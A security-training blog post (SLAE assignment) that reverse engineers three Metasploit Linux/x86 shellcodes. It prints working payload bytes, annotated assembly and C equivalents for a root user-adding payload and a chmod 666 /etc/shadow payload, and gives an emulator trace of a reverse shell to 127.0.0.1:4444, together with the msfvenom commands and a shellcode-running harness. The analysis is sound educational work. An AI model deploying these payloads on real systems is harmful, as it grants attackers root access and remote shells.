SLAE #5: Reverse Engineering Shellcode for Linux/x86

Introduction

This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-877

To get the code provided in this exercise:

% git clone https://github.com/droberson/SLAE.git

The code will be within the Assignment-5 directory.

Assignment Outline

This particular assignment is to dissect three shellcodes from msfpayload using using gdb, ndisasm, or libemu and present an analysis of each.

Unfortunately, this course is starting to show its age. Msfpayload is no longer a thing. It has long been replaced by msfvenom. The timing for me arriving at this assignment was beautiful. Kalasdfi Linux 2017.1 was just released, so I downloaded the ISO and made myself a new VM with a fresh copy of Metasploit to obtain my payloads for analysis.

msfvenom

I need to pick three Linux/x86 payloads to analyze. Listing all of the available Linux payloads with msfvenom is easy enough:

root@kali:~# msfvenom -l payloads |grep linux/x86
    linux/x86/adduser                                   Create a new user with UID 0
    linux/x86/chmod                                     Runs chmod on specified file with specified mode
    linux/x86/exec                                      Execute an arbitrary command
    linux/x86/meterpreter/bind_ipv6_tcp                 Inject the meterpreter server payload (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/meterpreter/bind_ipv6_tcp_uuid            Inject the meterpreter server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/meterpreter/bind_nonx_tcp                 Inject the meterpreter server payload (staged). Listen for a connection
    linux/x86/meterpreter/bind_tcp                      Inject the meterpreter server payload (staged). Listen for a connection (Linux x86)
    linux/x86/meterpreter/bind_tcp_uuid                 Inject the meterpreter server payload (staged). Listen for a connection with UUID Support (Linux x86)
    linux/x86/meterpreter/find_tag                      Inject the meterpreter server payload (staged). Use an established connection
    linux/x86/meterpreter/reverse_ipv6_tcp              Inject the meterpreter server payload (staged). Connect back to attacker over IPv6
    linux/x86/meterpreter/reverse_nonx_tcp              Inject the meterpreter server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp                   Inject the meterpreter server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp_uuid              Inject the meterpreter server payload (staged). Connect back to the attacker
    linux/x86/metsvc_bind_tcp                           Stub payload for interacting with a Meterpreter Service
    linux/x86/metsvc_reverse_tcp                        Stub payload for interacting with a Meterpreter Service
    linux/x86/mettle/bind_ipv6_tcp                      Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/mettle/bind_ipv6_tcp_uuid                 Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/mettle/bind_nonx_tcp                      Inject the mettle server payload (staged). Listen for a connection
    linux/x86/mettle/bind_tcp                           Inject the mettle server payload (staged). Listen for a connection (Linux x86)
    linux/x86/mettle/bind_tcp_uuid                      Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
    linux/x86/mettle/find_tag                           Inject the mettle server payload (staged). Use an established connection
    linux/x86/mettle/reverse_ipv6_tcp                   Inject the mettle server payload (staged). Connect back to attacker over IPv6
    linux/x86/mettle/reverse_nonx_tcp                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/mettle/reverse_tcp                        Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/mettle/reverse_tcp_uuid                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/mettle_reverse_tcp                        Run the mettle server payload (stageless)
    linux/x86/read_file                                 Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
    linux/x86/shell/bind_ipv6_tcp                       Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/shell/bind_ipv6_tcp_uuid                  Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/shell/bind_nonx_tcp                       Spawn a command shell (staged). Listen for a connection
    linux/x86/shell/bind_tcp                            Spawn a command shell (staged). Listen for a connection (Linux x86)
    linux/x86/shell/bind_tcp_uuid                       Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
    linux/x86/shell/find_tag                            Spawn a command shell (staged). Use an established connection
    linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
    linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp_uuid                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell_bind_ipv6_tcp                       Listen for a connection over IPv6 and spawn a command shell
    linux/x86/shell_bind_tcp                            Listen for a connection and spawn a command shell
    linux/x86/shell_bind_tcp_random_port                Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
    linux/x86/shell_find_port                           Spawn a shell on an established connection
    linux/x86/shell_find_tag                            Spawn a shell on an established connection (proxy/nat safe)
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell

This gives 43 shellcodes to choose from, however many of them are add on modules to staged payloads.

To output the desired shellcode, here’s the msfvenom syntax I used:

msfvenom -a x86 --platform linux -p linux/x86/PAYLOAD_HERE > outfile

adduser using ndisasm

First, I got a copy of the adduser shellcode in raw format using msfvenom:

root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/adduser > adduser
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes

ndisasm comes with the nasm assembler and is about as easy as it gets:

% ndisasm -b 32 adduser              
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call dword 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

This introduced a few instructions I was not familiar with, but I am able to see fairly quickly that it does in fact add a user named “metasploit” to /etc/passwd with UID=0.

% strings adduser
Qhsswdh//pah/etc
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

The default password is hashed, but looking at the available options for this payload, it appears to be “metasploit” as well:

root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape 
    vlad902 
    spoonm 

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0


**OMITTED ADVANCED OPTIONS OUTPUT**

Now that I have the assembler output, I can start making more sense of this shellcode. Since I know the calling conventions used for Linux/x86, I can reference a system call chart, the manual pages, and decipher what is going on.

My goal is to end up with a C source code file that is functionally equivalent to what this code is intending to do as well as a heavily commented version of this shellcode that explains what is going on step by step. Fortunately, this was pretty straightforward after a few minutes of looking at the disassembler’s output:

00000000  31C9              xor ecx,ecx                                 ; zero out ecx
00000002  89CB              mov ebx,ecx                                 ; zero out ebx
00000004  6A46              push byte +0x46                             ; 0x46 = 70 = setreuid()
00000006  58                pop eax                                     ; eax = 70
00000007  CD80              int 0x80                                    ; setreuid (0, 0);

00000009  6A05              push byte +0x5                              ; 5 = open()
0000000B  58                pop eax                                     ; set eax to 5
0000000C  31C9              xor ecx,ecx                                 ; zero out ecx
0000000E  51                push ecx                                    ; NULL terminate string
0000000F  6873737764        push dword 0x64777373                       ; "dwss"
00000014  682F2F7061        push dword 0x61702f2f                       ; "ap//"
00000019  682F657463        push dword 0x6374652f                       ; "cte/"
0000001E  89E3              mov ebx,esp                                 ; pointer to "/etc//passwd"
00000020  41                inc ecx                                     ; 0x0001 - O_WRONLY
00000021  B504              mov ch,0x4                                  ; 0x0401 - O_NOCTTY
00000023  CD80              int 0x80                                    ; open ("/etc//passwd", O_WRONLY | O_NOCTTY);

00000025  93                xchg eax,ebx                                ; save fd created by open() in ebx
00000026  E828000000        call dword 0x53                             ; go to TAG down below, 0x53

;; 6d 65 74 61 73 70 6c 6f 69 74 3a 41 7a 2f 64 49 73 6a 34 70 34 49 52 63 3a 30 3a 30 3a 3a 2f 3a 2f 62 69 6e 2f 73 68
;; m  e  t  a  s  p  l  o  i  t  :  A  z  /  d  I  s  j  4  p  4  I  R  c  :  0  :  0  :  :  /  :  /  b  i  n  /  s  h
0000002B  6D                insd                                        ; m
0000002C  657461            gs jz 0x90                                  ; e t a
0000002F  7370              jnc 0xa1                                    ; s p
00000031  6C                insb                                        ; l
00000032  6F                outsd                                       ; o
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a    ; i t : z / d I
0000003B  736A              jnc 0xa7                                    ; s j
0000003D  3470              xor al,0x70                                 ; 4 p
0000003F  3449              xor al,0x49                                 ; 4 I
00000041  52                push edx                                    ; R
00000042  633A              arpl [edx],di                               ; c :
00000044  303A              xor [edx],bh                                ; 0 :
00000046  303A              xor [edx],bh                                ; 0 :
00000048  3A2F              cmp ch,[edi]                                ; : /
0000004A  3A2F              cmp ch,[edi]                                ; : /
0000004C  62696E            bound ebp,[ecx+0x6e]                        ; b i n
0000004F  2F                das                                         ; /
00000050  7368              jnc 0xba                                    ; s h
00000052  0A598B            or bl,[ecx-0x75]                            ; 0x0a = newline
;; TAG      ^^
;; % perl -e 'print "\x59"' | ndisasm -b32 -
;; 00000000  59                pop ecx                                  ; address of string @ 0x2b

;; % perl -e 'print "\x8b\x51\xfc"' | ndisasm -b32 -
;; 00000000  8B51FC            mov edx,[ecx-0x4]                        ; ecx(0x2b) - 4 = 0x27 == 0x28 == 40 == length of string

00000057  6A04              push byte +0x4                              ; set eax to 4
00000059  58                pop eax                                     ; 4 = write()
0000005A  CD80              int 0x80                                    ; write (fd, "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 40);

0000005C  6A01              push byte +0x1                              ; set eax to 1
0000005E  58                pop eax                                     ; 1 = exit()
0000005F  CD80              int 0x80                                    ; exit(fd)

This shellcode is basically the same thing as the following C code:

#include 
#include 
#include 
#include 


int main() {
  int fd;
  
  setreuid (0, 0);

  fd = open ("/etc//passwd", O_WRONLY | O_NOCTTY);
  write (fd, "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 40);

  exit (fd);
}

shell_reverse_tcp using libemu

First, I generated the shellcode:

root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 >shell_reverse_tcp
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes

Now that I have a copy of the payload handy, I run it through libemu’s sctest program. There wasn’t a manual page on Kali Linux for this, so I read through the options with sctest –help:

root@kali:~# sctest --help
	-a PATH    		use this argos csi files as input
	--argos-csi=   PATH 

	-b IP:PORT 		bind this ip:port
	--bind=IP:PORT 

	-c IP:PORT 		redirect connects to this ip:port
	--connect=IP:PORT 

	-C CMD     		command to execute for "cmd" in shellcode (default: cmd="/bin/sh -c \"cd ~/.wine/drive_c/; wine 'c:\windows\system32\cmd_orig.exe' \"")
	--cmd=    CMD 

	-d INTEGER 		dump the shellcode (binary) to stdout
	--dump=INTEGER 

	-g         		run getpc mode, try to detect a shellcode
	--getpc

	-G FILEPATH 		save a dot formatted callgraph in filepath
	--graph=FILEPATH 

	-h         		show this help
	--help

	-i         		proxy api calls to the host operating system
	--interactive

	-l         		list all tests
	--listtests

	-o [INT|HEX] 		manual offset for shellcode, accepts int and hexvalues
	--offset=[INT|HEX] 

	-p PATH    		write shellcode profile to this file
	--profile=   PATH 

	-S         		read shellcode/buffer from stdin, works with -g
	--stdin

	-s INTEGER 		max number of steps to run
	--steps=INTEGER 

	-t INTEGER 		the test to run
	--testnumber=INTEGER 

	-v         		be verbose, can be used multiple times, f.e. -vv
	--verbose

I see that this is able to produce dot graphs for further processing with graphviz. Neat. I run the following command to disassemble the shellcode and produce the dot file necessary to produce a nice call graph:

root@kali:~# cat shell_reverse_tcp | sctest -vv -S -s 1000 -G shell_reverse_tcp.dot
graph file shell_reverse_tcp.dot
verbose = 2
[emu 0x0x55833b12e510 debug ] cpu state    eip=0x00417000
[emu 0x0x55833b12e510 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x55833b12e510 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x55833b12e510 debug ] Flags: 
[emu 0x0x55833b12e510 debug ] 31DB                            xor ebx,ebx
[emu 0x0x55833b12e510 debug ] F7E3                            mul ebx
[emu 0x0x55833b12e510 debug ] 53                              push ebx
[emu 0x0x55833b12e510 debug ] 43                              inc ebx
[emu 0x0x55833b12e510 debug ] 53                              push ebx
[emu 0x0x55833b12e510 debug ] 6A02                            push byte 0x2
[emu 0x0x55833b12e510 debug ] 89E1                            mov ecx,esp
[emu 0x0x55833b12e510 debug ] B066                            mov al,0x66
[emu 0x0x55833b12e510 debug ] CD80                            int 0x80
int socket(int domain=2, int type=1, int protocol=0);
[emu 0x0x55833b12e510 debug ] 93                              xchg eax,ebx
[emu 0x0x55833b12e510 debug ] 59                              pop ecx
[emu 0x0x55833b12e510 debug ] B03F                            mov al,0x3f
[emu 0x0x55833b12e510 debug ] CD80                            int 0x80
int dup2(int oldfd=14, int newfd=2);
[emu 0x0x55833b12e510 debug ] 49                              dec ecx
[emu 0x0x55833b12e510 debug ] 79F9                            jns 0xfffffffb
[emu 0x0x55833b12e510 debug ] B03F                            mov al,0x3f
[emu 0x0x55833b12e510 debug ] CD80                            int 0x80
int dup2(int oldfd=14, int newfd=1);
[emu 0x0x55833b12e510 debug ] 49                              dec ecx
[emu 0x0x55833b12e510 debug ] 79F9                            jns 0xfffffffb
[emu 0x0x55833b12e510 debug ] B03F                            mov al,0x3f
[emu 0x0x55833b12e510 debug ] CD80                            int 0x80
int dup2(int oldfd=14, int newfd=0);
[emu 0x0x55833b12e510 debug ] 49                              dec ecx
[emu 0x0x55833b12e510 debug ] 79F9                            jns 0xfffffffb
[emu 0x0x55833b12e510 debug ] 687F000001                      push dword 0x100007f
[emu 0x0x55833b12e510 debug ] 680200115C                      push dword 0x5c110002
[emu 0x0x55833b12e510 debug ] 89E1                            mov ecx,esp
[emu 0x0x55833b12e510 debug ] B066                            mov al,0x66
[emu 0x0x55833b12e510 debug ] 50                              push eax
[emu 0x0x55833b12e510 debug ] 51                              push ecx
[emu 0x0x55833b12e510 debug ] 53                              push ebx
[emu 0x0x55833b12e510 debug ] B303                            mov bl,0x3
[emu 0x0x55833b12e510 debug ] 89E1                            mov ecx,esp
[emu 0x0x55833b12e510 debug ] CD80                            int 0x80
connect
[emu 0x0x55833b12e510 debug ] 52                              push edx
[emu 0x0x55833b12e510 debug ] 686E2F7368                      push dword 0x68732f6e
[emu 0x0x55833b12e510 debug ] 682F2F6269                      push dword 0x69622f2f
[emu 0x0x55833b12e510 debug ] 89E3                            mov ebx,esp
[emu 0x0x55833b12e510 debug ] 52                              push edx
[emu 0x0x55833b12e510 debug ] 53                              push ebx
[emu 0x0x55833b12e510 debug ] 89E1                            mov ecx,esp
[emu 0x0x55833b12e510 debug ] B00B                            mov al,0xb
[emu 0x0x55833b12e510 debug ] CD80                            int 0x80
execve
int execve (const char *dateiname=00416fa6={//bin/sh}, const char * argv[], const char *envp[]);
[emu 0x0x55833b12e510 debug ] 0000                            add [eax],al
cpu error error accessing 0x00000004 not mapped

stepcount 42
copying vertexes
optimizing graph
vertex 0x55833b1ba9b0
going forwards from 0x55833b1ba9b0
 -> vertex 0x55833b1beb40
 -> vertex 0x55833b1bed50
 -> vertex 0x55833b1bef60
 -> vertex 0x55833b1bf170
 -> vertex 0x55833b1bf380
 -> vertex 0x55833b1bf600
 -> vertex 0x55833b1bf820
copying edges for 0x55833b1bf820
 -> 0x55833b1c97a0
vertex 0x55833b1bfa40
going forwards from 0x55833b1bfa40
copying edges for 0x55833b1bfa40
 -> 0x55833b1c9930
vertex 0x55833b1bffc0
going forwards from 0x55833b1bffc0
 -> vertex 0x55833b1c00e0
copying edges for 0x55833b1c00e0
 -> 0x55833b1c9ca0
vertex 0x55833b1c0290
going forwards from 0x55833b1c0290
copying edges for 0x55833b1c0290
 -> 0x55833b1c9e60
vertex 0x55833b1c0510
going forwards from 0x55833b1c0510
copying edges for 0x55833b1c0510
 -> 0x55833b1c9ff0
vertex 0x55833b1c0a10
going forwards from 0x55833b1c0a10
copying edges for 0x55833b1c0a10
 -> 0x55833b1ca1a0
vertex 0x55833b1c06c0
going forwards from 0x55833b1c06c0
copying edges for 0x55833b1c06c0
 -> 0x55833b1c9ca0
 -> 0x55833b1ca360
vertex 0x55833b1c12c0
going forwards from 0x55833b1c12c0
 -> vertex 0x55833b1c0e30
 -> vertex 0x55833b1c1590
 -> vertex 0x55833b1c1820
 -> vertex 0x55833b1c1a40
 -> vertex 0x55833b1c1bf0
 -> vertex 0x55833b1c1e00
 -> vertex 0x55833b1c2010
 -> vertex 0x55833b1c2220
copying edges for 0x55833b1c2220
 -> 0x55833b1cb2e0
vertex 0x55833b1c24a0
going forwards from 0x55833b1c24a0
copying edges for 0x55833b1c24a0
 -> 0x55833b1cb470
vertex 0x55833b1c2da0
going forwards from 0x55833b1c2da0
 -> vertex 0x55833b1c2650
 -> vertex 0x55833b1c3060
 -> vertex 0x55833b1c3280
 -> vertex 0x55833b1c3510
 -> vertex 0x55833b1c36c0
 -> vertex 0x55833b1c38d0
 -> vertex 0x55833b1c3b50
copying edges for 0x55833b1c3b50
 -> 0x55833b1cc230
vertex 0x55833b1c3d00
going forwards from 0x55833b1c3d00
copying edges for 0x55833b1c3d00
vertex 0x55833b1c4690
going forwards from 0x55833b1c4690
copying edges for 0x55833b1c4690
[emu 0x0x55833b12e510 debug ] cpu state    eip=0x00417046
[emu 0x0x55833b12e510 debug ] eax=0x0000000b  ecx=0x00416f9e  edx=0x00000000  ebx=0x00416fa6
[emu 0x0x55833b12e510 debug ] esp=0x00416f9e  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x55833b12e510 debug ] Flags: PF SF 
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int dup2 (
     int oldfd = 14;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 14;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 14;
     int newfd = 0;
) =  0;
int connect (
     int sockfd = 14;
     struct sockaddr_in * serv_addr = 0x00416fbe => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 16777343 (host=127.0.0.1);
             };
             char sin_zero = "       ";
         };
     int addrlen = 102;
) =  0;
int execve (
     const char * dateiname = 0x00416fa6 => 
           = "//bin/sh";
     const char * argv[] = [
           = 0x00416f9e => 
               = 0x00416fa6 => 
                   = "//bin/sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

This prints out some pseudo code that essentially shows what it is doing in human readable format. Above this, it shows the assembler dump. Adding one more -v flag shows the state of the CPU at each register and was too long to paste here, but looks like it could be very handy for debugging.

Finally, I generate the call graph using graphviz’s dot utility:

root@kali:~# dot -T png shell_reverse_tcp.dot -o shell_reverse_tcp.png

This produced a nice graph to follow the flow of the program visually:

shell_reverse_tcp

Overall, I am impressed with libemu. I am glad that I finally got some exposure into this set of tools and look forward to using it in the future.

Analyzing chmod Shellcode Using GDB

Last, I chose the chmod shellcode, which simply chmods a file to whatever permissions are specified. The defaults are chmod 666 /etc/shadow, and I just ran with the defaults:

root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/chmod >chmod
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes

I will be using GDB to analyze this shellcode. Since this shellcode is in raw form, I will use test.c compiled with the -g flag to make this easier for me:

% make
gcc -g -m32 -fno-stack-protector -z execstack -o test test.c

Now, I fire up GDB and use test to open “chmod”

% gdb
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) file test
Reading symbols from test...done.
(gdb) set args chmod

Next, I want to set a breakpoint at run(), so I can have the shellcode in memory and be able to analyze it:

(gdb) list
8       #include 
9       #include 
10      #include 
11      #include 
12      #include 
13
14      int main (int argc, char *argv[]) {
15        int i;
16        int fd;
17        int len;
(gdb) 
18        unsigned char *shellcode;
19        struct stat s;
20        
21
22        if (!argv[1]) {
23          fprintf (stderr, "usage: %s \n", argv[0]);
24          exit (EXIT_FAILURE);
25        }
26
27        printf ("Testing shellcode contained in %s\n\n", argv[1]);
(gdb) 
28
29        if (stat(argv[1], &s) == -1) {
30          perror("stat");
31          exit (EXIT_FAILURE);
32        }
33
34        fd = open (argv[1], O_RDONLY);
35        if (fd == -1) {
36          perror ("open");
37          exit (EXIT_FAILURE);
(gdb) 
38        }
39
40        shellcode = malloc (s.st_size);
41
42        if (read (fd, shellcode, s.st_size) != s.st_size) {
43          fprintf (stderr, "Unable to read %ld bytes from %s\n", s.st_size, argv[1]);
44          exit (EXIT_FAILURE);
45        }
46
47        close (fd);
(gdb) 
48
49        for (i = 0; i < s.st_size; i++) {
50          if (shellcode[i] == 0x00) {
51            printf ("SHELLCODE CONTAINS NULL BYTES!\n\n");
52            break;
53          }
54        }
55
56        /* display shellcode in C format */
57        printf ("char shellcode[] = \"");
(gdb) 
58
59        for (i = 0; i < s.st_size; i++) {
60          if ((i % 10 == 0) && (i != 0)) {
61            printf ("\"\n");
62            printf ("                   \"");
63          }
64
65          printf ("\\x%.2x", shellcode[i]);
66        }
67
(gdb) 
68        printf ("\";\n\n");
69
70        printf ("Length: %ld\n\n", s.st_size);
71
72        printf ("Executing shellcode..\n");
73        int (*run) () = (int(*)())shellcode;
74        run ();
75      }
(gdb) break 74
Breakpoint 1 at 0x8048813: file test.c, line 74.

Next, I run the program within GDB and let it hit the breakpoint:

(gdb) r
Starting program: /home/daniel/SLAE/Assignment-5/test chmod
Testing shellcode contained in chmod

SHELLCODE CONTAINS NULL BYTES!

char shellcode[] = "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00"
                   "\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f"
                   "\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
                   "\x80\x6a\x01\x58\xcd\x80";

Length: 36

Executing shellcode..

Breakpoint 1, main (argc=2, argv=0xffffcc34) at test.c:74
74        run ();
(gdb)

The shellcode should accessible in eax now:

(gdb) x/19i $eax
   0x804b410:   cdq    
   0x804b411:   push   0xf
   0x804b413:   pop    eax
   0x804b414:   push   edx
   0x804b415:   call   0x804b426
   0x804b41a:   das    
   0x804b41b:   gs je  0x804b481
   0x804b41e:   das    
   0x804b41f:   jae    0x804b489
   0x804b421:   popa   
   0x804b422:   outs   dx,DWORD PTR fs:[esi]
   0x804b424:   ja     0x804b426
   0x804b426:   pop    ebx
   0x804b427:   push   0x1b6
   0x804b42c:   pop    ecx
   0x804b42d:   int    0x80
   0x804b42f:   push   0x1
   0x804b431:   pop    eax
   0x804b432:   int    0x80

Looks like the shellcode to me! It is important to note that GDB disassembled the string “/etc/shadow” as opcodes, so the lines labeled 0x804b41a through 0x804b424 contain the string:

(gdb) x/s 0x804b41a
0x804b41a:      "/etc/shadow"

Looking at this closer, eax gets set to 0x0f, which is 15, which it turns out is the syscall number for chmod(). Next, the “/etc/shadow” string gets placed into ebx at the line labeled 0x804b426. Finally, at lines 0x804b427 – 0x804b42c, the value 0x1b6 gets placed into ecx. 0x1b6 is the representation of 666 in octal. This all makes sense considering what the shellcode’s purpose is. At line 0x804b42d, chmod(“/etc/shadow”, 0x1b6) is called, setting the permissions to world writable.

The last three lines, 0x804b42f – 0x804b432 call exit() to end the program cleanly.

Next assignment: Polymorphic Shellcode

Click here to continue to the next section

One thought on “SLAE #5: Reverse Engineering Shellcode for Linux/x86

  1. Pingback: SLAE #4: Encoding Shellcode for Linux/x86 – DMFROBERSON

Leave a comment